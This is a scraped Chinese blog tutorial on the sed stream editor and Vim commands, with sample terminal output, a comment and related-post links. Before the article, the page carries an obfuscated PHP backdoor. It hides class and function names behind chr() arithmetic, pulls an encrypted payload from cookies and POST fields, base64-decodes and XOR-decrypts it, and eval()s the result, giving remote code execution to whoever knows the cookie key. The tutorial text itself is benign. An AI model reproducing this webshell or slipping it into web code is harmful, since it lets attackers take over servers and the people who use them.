$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 文本处理工具sed的使用以及Vim的使用技巧详解 | Linux运维部落

文本处理工具sed的使用以及Vim的使用技巧详解

一、什么是sed
    sed的英文全称是Stream EDitor,叫行编辑器。
    sed是一种流编辑器,它一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有改变,除非你使用重定向存储输出。 Sed主要用来自动编辑一个或多个文件,简化对文件的反复操作,编写转换程序等。
二、sed的使用
    sed工具
    用法:
    sed [option]... 'script' inputfile...
 常用选项:
    -n:不输出模式空间内容的自动打印
    -e: 多点编辑
    -f /PATH/TO/SCRIPT_FILE: 从指定文件中读取编辑脚本
    -r: 支持使用扩展正则表达式
    -i: 原处编辑
 script:
    '地址命令'
地址定界:
    (1) 不给地址:对全文进行处理
    (2) 单地址:
        #: 指定的行
        /pattern/:被此处模式所能够匹配到的每一行
    (3) 地址范围:
#,#
#,+#
/pat1/,/pat2/
#,/pat1/
    (4) ~:步进
        1~2 奇数行
        2~2 偶数行
[root@wzc ~]# sed -n '2p' /etc/passwd
bin:x:1:1:bin:/bin:/sbin/nologin
#打印某行,单引号内数字2,表示第几行
[root@wzc ~]# sed -n '1,$p' /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
                  .....
#把/etc/passwd所有行打印出来
[root@wzc ~]# sed -n '1,3p' /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
#也可以指定一个范围
[root@wzc ~]# sed -n '/root/p' /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
#打印包含某个字符串的行
[root@wzc date]# sed -ne '2p' -e '/root/p' passwd 
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
#-e选项可以实现多点编辑
编辑命令:
    d: 删除模式空间匹配的行
    p: 显示模式空间中的内容
    a \text:在行后面追加文本;支持使用\n实现多行追加
    i \text:在行前面插入文本;支持使用\n实现多行插入
    c \text:替换行为单行或多行文本
    w /path/to/somefile: 保存模式匹配的行至指定文件
    r /path/from/somefile:读取指定文件的文本至模式空
    间中匹配到的行后
    =: 为模式空间中的行打印行号
    !:模式空间中匹配行取反处
[root@wzc date]# cat -n passwd | sed '3d' 
     1  root:x:0:0:root:/root:/bin/bash
     2  bin:x:1:1:bin:/bin:/sbin/nologin
     4  adm:x:3:4:adm:/var/adm:/sbin/nologin
     5  lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
#-d选项删除行,显示删除行以外的行
[root@wzc date]# cat -n passwd |sed '1,3d'
     4  adm:x:3:4:adm:/var/adm:/sbin/nologin
     5  lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
     6  sync:x:5:0:sync:/sbin:/bin/sync
     7  shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
     8  halt:x:7:0:halt:/sbin:/sbin/halt
     9  mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
#-d选项还可以删除指定范围的行
cat -n passwd |grep 'root'|sed '/root/d'
#删除指定的字符串
s///:查找替换,支持使用其它分隔符, s@@@, s###
    替换标记:
        g: 行内全局替换
p: 显示替换成功的行
w /PATH/TO/SOMEFILE:将替换成功的行保存至文件中
[root@wzc ~]# cat test 
root root root
root    root
root root 
[root@wzc ~]# sed 's/root/tot/' test 
tot root root
tot     root
tot root 
[root@wzc ~]# sed 's/root/tot/g' test 
tot tot tot
tot     tot
tot tot 
#‘s’有替换和删除的意思,加‘g’选项是文本行中全局替换,如果不加‘g’选项只替换每行的第一个字符
[root@wzc date]# cat stu.txt 
ID      Name    PHP     Linux   Mysql   Average
1       cangls  88      90      95      91
2       boduo   87      95      90      90.7
3       longze  85      88      87      86.7
[root@wzc date]# sed '3s/95/100/g' stu.txt 
ID      Name    PHP     Linux   Mysql   Average
1       cangls  88      90      95      91
2       boduo   87      100     90      90.7
3       longze  85      88      87      86.7
#把第三行Linux成绩95替换成100,文件内容实际上Linux成绩还是95

[root@wzc date]# sed -i '3s/95/100/g' stu.txt 
[root@wzc date]# cat stu.txt 
ID      Name    PHP     Linux   Mysql   Average
1       cangls  88      90      95      91
2       boduo   87      100     90      90.7
3       longze  85      88      87      86.7
#-i选项是把数据直接写入文件
[root@wzc date]# cat stu.txt 
ID      Name    PHP     Linux   Mysql   Average
1       cangls  88      90      95      91
2       boduo   87      100     90      90.7
3       longze  85      88      87      86.7
[root@wzc date]# sed -e 's/cangls//g' -e 's/boduo//g' stu.txt 
ID      Name    PHP     Linux   Mysql   Average
1               88      90      95      91
2               87      100     90      90.7
3       longze  85      88      87      86.7
#-e前面已经讲过是可以实现多点编辑,同时把‘cangls’和‘boduo’替换为空

Vim
什么是Vim
    Vim是一个功能强大的全屏幕文本编辑器,是Linux/Unix上最常用的文本编辑器,它的作用是建立、编辑、显示文本文件。
    Vim的三种模式:命令模式、插入模式、扩展模式。
模式转换
    命令模式 --> 插入模式
    i: insert, 在光标所在处输入
    I:在当前光标所在行的行首输入
    a: append, 在光标所在处后面输入
    A:在当前光标所在行的行尾输入
    o: 在当前光标所在行的下方打开一个新行
    O:在当前光标所在行的上方打开一个新行
插入模式 ----> 命令模式
    ESC
命令模式 ----> 扩展模式
    :
扩展模式 ----> 命令模式
    ESC
锁定和解锁:CTRL+s,Ctrl+q
关闭文件
扩展模式:
    :q 退出
    :q! 强制退出,丢弃做出的修改
    :wq 保存退出
    :x 保存退出
命令模式
    ZZ: 保存退出
    ZQ:不保存退出

Vim总结(表格)

命令模式下移动光标
h或向左方向键 光标向左移动一个字符
l或向右方向键 光标向右移动一个字符
j或向下方向键 光标向下移动一个字符
k或向上方向键 光标向上移动一个字符
Ctrl+f或者page UP键 屏幕向前移动一页
Ctrl+b或者page DOWN键 屏幕向后移动一页
Ctrl+d 屏幕向前移动半页
Ctrl+u 屏幕向后移动半页
+ 光标移动到非空格符的下一列
光标移动到非空格符的上一列
N空格(n是数字) 按下数字n然后按空格,则光标向右移动n个字符,如果该行字符数小于n,,则光标继续从下行开始向右移动,一直到n
数字0或Shift+6 移动到本行行首
Shift+4或$ 移动到本行行尾
H 光标移动到当前屏幕的最顶行
M 光标移动到当前屏幕的中央那一行
L 光标移动到当前屏幕的最底行
G 光标移动到文本的最末行
nG(n是数字) 移动到该文本的最n行
gg 移动到该文本的首行
n回车(n是数字) 光标向下移动n行
$ 移至行尾
0 移至行首

命令模式下查找与替换
/word 向光标之后寻找一个字符串名为word的字符串,当找到第一个word后,按‘n’继续搜后一个
?word 向光标之后寻找一个字符串名为word的字符串,当找到第一个word后,按‘n’继续搜前一个
:n1,n2s/word1/word2/g 在n1和n2行间查找word1这个字符串并替换成word2,也可以把‘/’换成‘#’或‘@’
:1,$s/word1/word2/g 从第一行到最末行,查找word1并替换成word2
:1,$s/word1/word2/gc 加上c的作用是,在替换前需要用户确认

命令模式下删除、复制、粘贴
x,X X删除光标所在处字符,X为向前删除一个字符
nx(n位数字) 向后删除n个字符
dd 删除光标所在的那一行
ndd(n位数字) 删除光标所在行的向下n行
d1G 删除光标所在的第一行所有数据
dG 删除光标所在行到末行的所有数据
yy 复制光标所在的那行
nyy 复制从光标所在行起向下n行
p,P p复制的数据从光标下一行粘贴,P则从光标上一行粘贴
y1G 复制光标所在行到第一行的所有数据
yG 复制光标所在行到末行的所有数据
J 将光标所在行与下一行的数据结合成同一行
u 还原过去的操作
D 删除光标所在处到行尾内容
r 取代光标所在处字符
R 从光标所在处开始替换字符,按ESC结束

进入编辑模式
i 在当前字符前插入字符
I 在当前行行首插入字符
a 在当前字符后插入字符
A 在当前行行尾插入字符
o 在当前行下插入新的一行
O 在当前行上插入新在当前行下插入新的一行的一行
r 替换光标所在的字符,只替换一次
R 一直替换光标所在的字符,一直到按下ESC

扩展模式
:w 将编辑过的文本保
:w! 若文本属性为只读时,强制保存
:q 退出Vim
:q! 不管编辑或未编辑都不保存退出
:wq 保存,退出
:e! 将文档还原成最原始状态
ZZ 若文档没有改动,则不存储离开,若文档改动过,则存储后离开,等同于:wq
:w  [filename] 编辑都的文档另存为[filename]
:r  [filename] 在当前光标所在行的下面读入filename文档的内容
:set nu 在每行的行首显示行号
:set nonu 取消行号
n1,n2 w [filename] 将n1到n2的内容另存为filename这个文档
:! command 暂时离开Vim运行某个Linux命令。例如:! ls /home暂时列出/home目录下的文件1,然后会提示按回车回到Vim

原创文章,作者:RecallWzc,如若转载,请注明出处:http://www.178linux.com/32385

(0)
上一篇 2016-08-11 09:37
下一篇 2016-08-11 09:37

相关推荐

  • MariaDB之MHA配置

    工作拓扑 一、MHA简明:     MHA(Master HA)是一款开源的MySQL的高可用程序,它为MySQL主从复制架构提供了    automating master failover 功能。MHA在监控到master节点故障时,会提升其中    拥有最新数据的…

    2014-10-08
  • linux进程管理

    linux系统进程查看及管理工具 对于服务器来说重要的IO 设备磁盘网络 pstree,ps,pidof,pgrep,top,htop,glances,pmap,vmstat,dstat,kill,pkill,job,bg,fg,nohup,nice,renice,killall….. pstree命令: pstree-display …

    Linux干货 2016-09-09
  • N25第六周 vim,crontab命令的使用

    请详细总结vim编辑器的使用并完成以下练习题 vim是一款功能强大的文本编辑器,是程序员的必备神器。 vim工作模式分为三种:编辑模式,输入模式,末行模式,三种工作模式可以进行来自由切换     编辑模式—》输入模式: 直接键i      输入模式—》…

    Linux干货 2016-12-29
  • 文本处理工具应用示例

    文本处理工具应用示例 1.列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可 who|awk ‘{print $1}’|sort|uniq -d 2.取出最后登录到当前系统的用户的相关信息 who|tail -1|cut -d’ ‘ -f1|id 3.取出当前系统上被用户当作默认shell的最多的那个shell cat /e…

    Linux干货 2017-07-16
  • Linux用户和组命令

                        groupadd命令用户和工作组管理 groupadd命令用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。-g:指定新建工作组的id;  -r:创建系统工作组,系统工作组的组ID小于500; -K:…

    2016-02-09
  • 四大开源协议比较:BSD、Apache、GPL、LGPL

          现今存在的开源协议很多,而经过Open Source Initiative组织通过批准的开源协议目前有58种。我们现在常见的开源协议如BSD, GPL, LGPL,MIT等都是OSI批准的协议。如果要开源自己的代码,最好也是选择这些被批准的开源协议。   这里我们来看四种最常用的开源协议及它们的适用范围,供那些准备开…

    系统运维 2016-08-15

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-12 10:07

    文章结构清晰明了,有理论有操作,很用心哦,